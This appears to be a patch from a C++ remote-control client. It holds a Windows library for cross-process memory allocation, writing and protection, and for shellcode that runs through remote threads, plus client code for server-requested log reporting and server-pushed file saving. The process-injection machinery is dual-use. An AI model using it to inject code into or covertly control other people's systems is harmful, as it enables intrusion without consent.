CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
|
||||
#undef CALLERS
|
||||
#undef END_TO_DWORD64_DECL
|
||||
#undef TO_DWORD64_DECL
|
||||
#undef __TO_DWORD64_DECL
|
||||
};
|
||||
|
||||
inline VOID WINAPI SetLastError64(DWORD64 status)
|
||||
{
|
||||
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
|
||||
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
|
||||
|
||||
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
|
||||
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
|
||||
|
||||
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
|
||||
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
|
||||
}
|
||||
|
||||
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
|
||||
{
|
||||
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
|
||||
if (!NtQueryVirtualMemory) return 0;
|
||||
|
||||
DWORD64 ret = 0;
|
||||
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
|
||||
if (!status) return (SIZE_T)ret;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
|
||||
if (!NtAllocateVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
|
||||
if (!ret) return tmpAddr;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
|
||||
if (!NtFreeVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
|
||||
if (!ret) return TRUE;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
|
||||
{
|
||||
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
|
||||
if (!NtProtectVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
|
||||
if (!ret) return TRUE;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
|
||||
{
|
||||
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
|
||||
if (!NtReadVirtualMemory) return 0;
|
||||
|
||||
DWORD64 read = 0;
|
||||
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
|
||||
if (!ret) {
|
||||
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
|
||||
{
|
||||
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
|
||||
if (!NtWriteVirtualMemory) return 0;
|
||||
|
||||
DWORD64 written = 0;
|
||||
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
|
||||
if (!ret) {
|
||||
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
DWORD64 lpStartAddress,
|
||||
DWORD64 lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId)
|
||||
{
|
||||
static X64Call RtlCreateUserThread("RtlCreateUserThread");
|
||||
if (!RtlCreateUserThread) return 0;
|
||||
|
||||
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
|
||||
ULONG stackSize = dwStackSize;
|
||||
DWORD64 handle = 0;
|
||||
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
|
||||
if (!status) return (HANDLE)handle;
|
||||
|
||||
SetLastError64(status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
class ProcessWriter
|
||||
{
|
||||
public:
|
||||
template<typename T>
|
||||
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
|
||||
: _autoRelease(TRUE)
|
||||
, _hProcess(hProcess)
|
||||
, _dw64Address(0)
|
||||
, _dwSize(dwSize)
|
||||
{
|
||||
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
|
||||
return;
|
||||
SIZE_T written = 0;
|
||||
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
|
||||
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||
_dw64Address = 0;
|
||||
}
|
||||
}
|
||||
~ProcessWriter() {
|
||||
if (_dw64Address && _autoRelease)
|
||||
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||
}
|
||||
void SetDontRelese() {
|
||||
_autoRelease = FALSE;
|
||||
}
|
||||
operator DWORD64() {
|
||||
return (DWORD64)_dw64Address;
|
||||
}
|
||||
#ifdef _WIN64
|
||||
template<typename T>
|
||||
operator T*() {
|
||||
return (T*)_dw64Address;
|
||||
}
|
||||
#endif
|
||||
|
||||
private:
|
||||
BOOL _autoRelease;
|
||||
HANDLE _hProcess;
|
||||
#ifdef _WIN64
|
||||
LPVOID _dw64Address;
|
||||
#else
|
||||
DWORD64 _dw64Address;
|
||||
#endif
|
||||
SIZE_T _dwSize;
|
||||
};
|
||||
|
||||
namespace {
|
||||
|
||||
std::string makeShellCode(int cnt, bool is64Bit)
|
||||
{
|
||||
if(is64Bit) {
|
||||
// see X64Delegator_disassemble for details
|
||||
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
|
||||
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5b, 0xc3 };
|
||||
|
||||
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
|
||||
if(!cnt) return templ_x64;
|
||||
|
||||
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
|
||||
if(cnt >= 1)
|
||||
templ_x64[16] = 0x3b;
|
||||
|
||||
if(cnt < 3) {
|
||||
if(cnt >= 1) {
|
||||
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
|
||||
}
|
||||
if(cnt >= 2) {
|
||||
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
|
||||
}
|
||||
}
|
||||
else {
|
||||
templ_x64[20] = 0x49;
|
||||
templ_x64[21] = 0x10;
|
||||
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
|
||||
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
|
||||
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
|
||||
if(cnt >= 4) {
|
||||
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
|
||||
}
|
||||
if(cnt >= 5) {
|
||||
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
|
||||
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
|
||||
}
|
||||
if(cnt >= 6) {
|
||||
templ_x64[21] = 0x38;
|
||||
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
|
||||
templ_x64[50] = 0x28;
|
||||
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
|
||||
}
|
||||
// TODO
|
||||
}
|
||||
return templ_x64;
|
||||
}
|
||||
// see X86Delegator_disassemble for details
|
||||
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
|
||||
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
|
||||
0x8b, 0xe5, 0x5d, 0xc3 };
|
||||
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
|
||||
// je distance
|
||||
templ_x86[9] += cnt * 7;
|
||||
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
|
||||
int pos = 13;
|
||||
for(int i = 0; i < cnt; ++i) {
|
||||
switch(i % 3) {
|
||||
case 0:
|
||||
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
|
||||
break;
|
||||
case 1:
|
||||
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
|
||||
break;
|
||||
case 2:
|
||||
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
|
||||
break;
|
||||
}
|
||||
templ_x86[pos + 2] = (cnt - i) << 2;
|
||||
pos += 7;
|
||||
}
|
||||
switch(cnt % 3) {
|
||||
case 0:
|
||||
templ_x86[pos + 1] = 0x08;
|
||||
break;
|
||||
case 1:
|
||||
templ_x86[pos + 1] = 0x02;
|
||||
break;
|
||||
case 2:
|
||||
templ_x86[pos + 1] = 0x11;
|
||||
break;
|
||||
}
|
||||
return templ_x86;
|
||||
}
|
||||
|
||||
template<int argCnt, bool is64Bit>
|
||||
const std::string& shellCode() {
|
||||
static std::string kCode = makeShellCode(argCnt, is64Bit);
|
||||
return kCode;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
class YAPICall
|
||||
{
|
||||
template<typename T>
|
||||
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
|
||||
return DWORD64(v);
|
||||
}
|
||||
template<typename char_t>
|
||||
struct StringHelper : detail::GCBase
|
||||
{
|
||||
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
|
||||
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
|
||||
}
|
||||
virtual void gc() { delete name; }
|
||||
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
|
||||
private:
|
||||
ProcessWriter* name;
|
||||
};
|
||||
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||
|
||||
private:
|
||||
HANDLE _hProcess;
|
||||
ProcessWriter* _sc;
|
||||
DWORD64 func;
|
||||
BOOL _dw64Ret;
|
||||
DWORD _dwTimeout;
|
||||
BOOL _is64Bit;
|
||||
|
||||
template<int argCnt>
|
||||
bool initShellCoder(ProcessWriter*& sc) {
|
||||
if(sc) return false;
|
||||
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
|
||||
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||
return true;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
DWORD64 call(const std::vector<T>& param) {
|
||||
ProcessWriter p(_hProcess, ¶m[0], sizeof(T) * (param.size()));
|
||||
if (!p) return -1;
|
||||
HANDLE hThread = 0;
|
||||
if (_is64Bit)
|
||||
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||
else {
|
||||
#ifdef _WIN64
|
||||
// see X64toX86_disassemble for details
|
||||
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
|
||||
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
|
||||
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
|
||||
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
|
||||
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
|
||||
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||
sc->SetDontRelese();
|
||||
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||
#else
|
||||
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
|
||||
#endif
|
||||
}
|
||||
if (!hThread) return -1;
|
||||
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
|
||||
_sc->SetDontRelese();
|
||||
CloseHandle(hThread);
|
||||
return -1;
|
||||
}
|
||||
if (!_is64Bit || !_dw64Ret) {
|
||||
DWORD ret = 0;
|
||||
GetExitCodeThread(hThread, &ret);
|
||||
CloseHandle(hThread);
|
||||
return ret;
|
||||
}
|
||||
DWORD64 ret = 0;
|
||||
CloseHandle(hThread);
|
||||
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
|
||||
return ret;
|
||||
}
|
||||
|
||||
public:
|
||||
YAPICall(HANDLE hProcess, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
}
|
||||
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, moudle, funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
}
|
||||
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
if(!func) {
|
||||
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
|
||||
_is64Bit = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
~YAPICall() { if (_sc) delete _sc; }
|
||||
|
||||
operator DWORD64() { return func; }
|
||||
|
||||
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
|
||||
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
|
||||
|
||||
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||
|
||||
#define CALLERSX(n) \
|
||||
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
|
||||
bool b = initShellCoder<n>(_sc);\
|
||||
if(!b || !func || !_sc || !*_sc) return -1;\
|
||||
detail::GCHelper helper;\
|
||||
if(_is64Bit) {\
|
||||
std::vector<DWORD64> param(n + 2, 0);\
|
||||
param[0] = _dw64Ret;\
|
||||
param[1] = func;\
|
||||
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
|
||||
return call<DWORD64>(param);\
|
||||
}\
|
||||
std::vector<DWORD> param(n + 1, 0);\
|
||||
param[0] = (DWORD)func;\
|
||||
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
|
||||
return call<DWORD>(param);\
|
||||
}
|
||||
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
|
||||
CALLERSX( 0)
|
||||
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
|
||||
#undef CALLERSX
|
||||
#undef CALLERS
|
||||
#undef TO_DWORD_ARRAY_DECL
|
||||
#undef TO_DWORD64_ARRAY_DECL
|
||||
};
|
||||
|
||||
#define YAPI(h, m, f) YAPICall(h, m, #f)
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
#pragma once
|
||||
#include <cstring>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "client/IOCPClient.h"
|
||||
#include "common/commands.h"
|
||||
#include "common/logger.h"
|
||||
|
||||
// 客户端内存日志上报(POSIX 版,对应 Windows 端 client/ClientLogManager.cpp)。
|
||||
//
|
||||
// 服务端 COMMAND_QUERY_LOG → 本端开子连接 → 首包 TOKEN_REPORT_LOG + 日志文本。
|
||||
//
|
||||
// 为什么必须走子连接:服务端 MessageHandle 的 TOKEN_REPORT_LOG 分支取走首包后会
|
||||
// 直接 CancelIO 关掉这条连接。若把日志回在主连接上,被关掉的就是主连接本身,
|
||||
// 客户端会当场掉线(服务端再判成离线)。
|
||||
//
|
||||
// 为什么首包就发全量:服务端只取第一条(m_sentIdx 从 0 起算即全量),取走即关
|
||||
// 子连接,后续增量不会再有人收。Windows 端每 3s 补推一次是为了给人工打开的日志
|
||||
// 对话框持续喂增量,MCP 这条路径用不上。
|
||||
class ClientLogHandler : public IOCPManager
|
||||
{
|
||||
public:
|
||||
explicit ClientLogHandler(IOCPClient* client)
|
||||
: m_client(client)
|
||||
, m_sentIdx(0)
|
||||
{
|
||||
SendLogDump();
|
||||
}
|
||||
|
||||
virtual ~ClientLogHandler() {}
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (!szBuffer || ulLength == 0)
|
||||
return;
|
||||
// 子连接上再收到 QUERY_LOG(服务端重试)就补发一次增量
|
||||
if (szBuffer[0] == COMMAND_QUERY_LOG)
|
||||
SendLogDump();
|
||||
}
|
||||
|
||||
private:
|
||||
void SendLogDump()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_sendMutex);
|
||||
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
|
||||
std::vector<BYTE> pkt(1 + logs.size());
|
||||
pkt[0] = TOKEN_REPORT_LOG;
|
||||
if (!logs.empty())
|
||||
memcpy(pkt.data() + 1, logs.data(), logs.size());
|
||||
m_client->Send2Server((char*)pkt.data(), (int)pkt.size());
|
||||
}
|
||||
|
||||
IOCPClient* m_client;
|
||||
size_t m_sentIdx; // Logger ring buffer 的绝对游标,DumpMemoryLogFrom 会推进它
|
||||
std::mutex m_sendMutex;
|
||||
};
|
||||
+4
-26
@@ -36,6 +36,7 @@
|
||||
|
||||
// FileTransferV2 is in the same directory (common/)
|
||||
#include "FileTransferV2.h"
|
||||
#include "UnixPath.h"
|
||||
|
||||
// External declaration of clientID (defined in main.cpp/main.mm)
|
||||
extern uint64_t g_myClientID;
|
||||
@@ -186,34 +187,11 @@ private:
|
||||
// /:\ -> /
|
||||
// /: -> /
|
||||
// C:\Users\file.txt -> /Users/file.txt
|
||||
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
|
||||
static std::string winPathToLinux(const char* winPath)
|
||||
{
|
||||
if (!winPath || !*winPath) return "/";
|
||||
|
||||
std::string p(winPath);
|
||||
// 1. Backslash -> forward slash
|
||||
for (auto& c : p) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 2. Remove "X:/" or "X:" prefix (handles both /: and C: style)
|
||||
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
|
||||
p = p.substr(3);
|
||||
} else if (p.size() >= 2 && p[1] == ':') {
|
||||
p = p.substr(2);
|
||||
}
|
||||
// 3. Ensure starts with /
|
||||
if (p.empty() || p[0] != '/') {
|
||||
p = "/" + p;
|
||||
}
|
||||
// 4. Merge consecutive slashes
|
||||
std::string result;
|
||||
result.reserve(p.size());
|
||||
for (size_t i = 0; i < p.size(); i++) {
|
||||
if (i > 0 && p[i] == '/' && p[i - 1] == '/')
|
||||
continue;
|
||||
result += p[i];
|
||||
}
|
||||
return result.empty() ? "/" : result;
|
||||
// 展开 %USERPROFILE% 等变量并把路径风格转成 Unix(见 UnixPath.h)
|
||||
return UnixPath::ToUnixPath(winPath ? winPath : "");
|
||||
}
|
||||
|
||||
// ---- Linux path -> Windows path (for sending to server) ----
|
||||
|
||||
+222
-43
@@ -18,6 +18,7 @@
|
||||
|
||||
#include "commands.h"
|
||||
#include "file_upload.h"
|
||||
#include "UnixPath.h"
|
||||
#include "../client/IOCPClient.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
@@ -25,9 +26,13 @@
|
||||
#include <dirent.h>
|
||||
#include <iconv.h>
|
||||
#include <cstring>
|
||||
#include <cctype>
|
||||
#include <cerrno>
|
||||
#include "sha256_posix.h"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
#include <set>
|
||||
#include <mutex>
|
||||
#include <fstream>
|
||||
#include <thread>
|
||||
@@ -164,11 +169,15 @@ public:
|
||||
|
||||
// 处理 V2 文件数据包
|
||||
// 返回: 0=成功, >0=错误码
|
||||
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID)
|
||||
// reply:主连接(Linux 传 g_pMainClient)。非空时,C2C 传输的最后一个条目处理完会回一包
|
||||
// 落盘结果(TOKEN_C2C_SEND_RESULT),服务端据此把 receiver_ack 变成真实值;
|
||||
// 传 nullptr(macOS 目前没有全局主连接)则保持旧行为,不发回执。
|
||||
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID,
|
||||
IOCPClient* reply = nullptr)
|
||||
{
|
||||
// 检查是否是 FILE_COMPLETE_V2 包
|
||||
if (len >= 1 && buf[0] == COMMAND_FILE_COMPLETE_V2) {
|
||||
return HandleFileComplete(buf, len, myClientID);
|
||||
return HandleFileComplete(buf, len, myClientID, reply);
|
||||
}
|
||||
|
||||
if (len < sizeof(FileChunkPacketV2)) {
|
||||
@@ -210,10 +219,10 @@ public:
|
||||
for (char& c : relPath) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 移除盘符前缀 (如 C:/)
|
||||
if (relPath.size() >= 3 && relPath[1] == ':' && relPath[2] == '/') {
|
||||
// 移除盘符前缀 (如 C:/)——只认「字母 + 冒号」,否则 /:data 这类合法路径会被改写
|
||||
if (relPath.size() >= 3 && isalpha((unsigned char)relPath[0]) && relPath[1] == ':' && relPath[2] == '/') {
|
||||
relPath = relPath.substr(3);
|
||||
} else if (relPath.size() >= 2 && relPath[1] == ':') {
|
||||
} else if (relPath.size() >= 2 && isalpha((unsigned char)relPath[0]) && relPath[1] == ':') {
|
||||
relPath = relPath.substr(2);
|
||||
}
|
||||
// 移除开头的 /
|
||||
@@ -222,26 +231,24 @@ public:
|
||||
}
|
||||
savePath += relPath;
|
||||
} else {
|
||||
// 服务端传输:使用相对路径
|
||||
// 将 Windows 路径转换为 Linux 路径
|
||||
savePath = fileName;
|
||||
for (char& c : savePath) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 移除盘符前缀 (如 C:/)
|
||||
if (savePath.size() >= 3 && savePath[1] == ':' && savePath[2] == '/') {
|
||||
savePath = savePath.substr(2);
|
||||
}
|
||||
// 确保以 / 开头
|
||||
if (savePath.empty() || savePath[0] != '/') {
|
||||
savePath = "/" + savePath;
|
||||
}
|
||||
// 服务端传输:用服务端下发的绝对路径。
|
||||
// 快捷按钮(桌面/下载/用户主页)下发的目标目录是 %USERPROFILE%\...,
|
||||
// 由 WinPathToLinux 展开(见 UnixPath.h),与 Windows 上
|
||||
// ExpandEnvironmentStringsA 的效果一致。
|
||||
savePath = WinPathToLinux(fileName);
|
||||
}
|
||||
|
||||
// 目录处理
|
||||
if (pkt->flags & FFV2_DIRECTORY) {
|
||||
MakeDirs(savePath + "/dummy");
|
||||
// MakeDirs 不回报 mkdir 的失败(它还要给服务端下载复用),这里单独确认一次:
|
||||
// 目录没建成也要让回执带上 errno,否则会向服务端谎报成功。
|
||||
struct stat st;
|
||||
int mkErr = 0;
|
||||
if (stat(savePath.c_str(), &st) != 0) mkErr = errno ? errno : EIO;
|
||||
else if (!S_ISDIR(st.st_mode)) mkErr = EIO;
|
||||
Mprintf("[V2 Recv] Created directory: %s\n", savePath.c_str());
|
||||
FinishC2CItem(pkt, reply, myClientID, false, true, 0, mkErr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -250,9 +257,11 @@ public:
|
||||
|
||||
// 获取或创建接收状态
|
||||
uint64_t stateKey = pkt->transferID ^ ((uint64_t)pkt->fileIndex << 48);
|
||||
RecvState* state = GetOrCreateState(stateKey, pkt, savePath);
|
||||
int openErr = 0;
|
||||
RecvState* state = GetOrCreateState(stateKey, pkt, savePath, &openErr);
|
||||
if (!state) {
|
||||
Mprintf("[V2 Recv] Failed to create state\n");
|
||||
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, openErr ? openErr : EIO);
|
||||
return 5;
|
||||
}
|
||||
|
||||
@@ -260,7 +269,9 @@ public:
|
||||
const char* data = (const char*)buf + sizeof(FileChunkPacketV2) + pkt->nameLength;
|
||||
|
||||
if (lseek(state->fd, pkt->offset, SEEK_SET) == -1) {
|
||||
Mprintf("[V2 Recv] lseek failed: errno=%d\n", errno);
|
||||
int e = errno;
|
||||
Mprintf("[V2 Recv] lseek failed: errno=%d\n", e);
|
||||
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, e);
|
||||
return 6;
|
||||
}
|
||||
|
||||
@@ -270,7 +281,9 @@ public:
|
||||
ssize_t n = write(state->fd, data + written, toWrite - written);
|
||||
if (n <= 0) {
|
||||
if (errno == EINTR) continue;
|
||||
Mprintf("[V2 Recv] write failed: errno=%d\n", errno);
|
||||
int e = errno;
|
||||
Mprintf("[V2 Recv] write failed: errno=%d\n", e);
|
||||
FinishC2CItem(pkt, reply, myClientID, true, IsFinalChunk(pkt), 0, e);
|
||||
return 7;
|
||||
}
|
||||
written += n;
|
||||
@@ -292,6 +305,15 @@ public:
|
||||
|
||||
// 文件完成
|
||||
if (isLast) {
|
||||
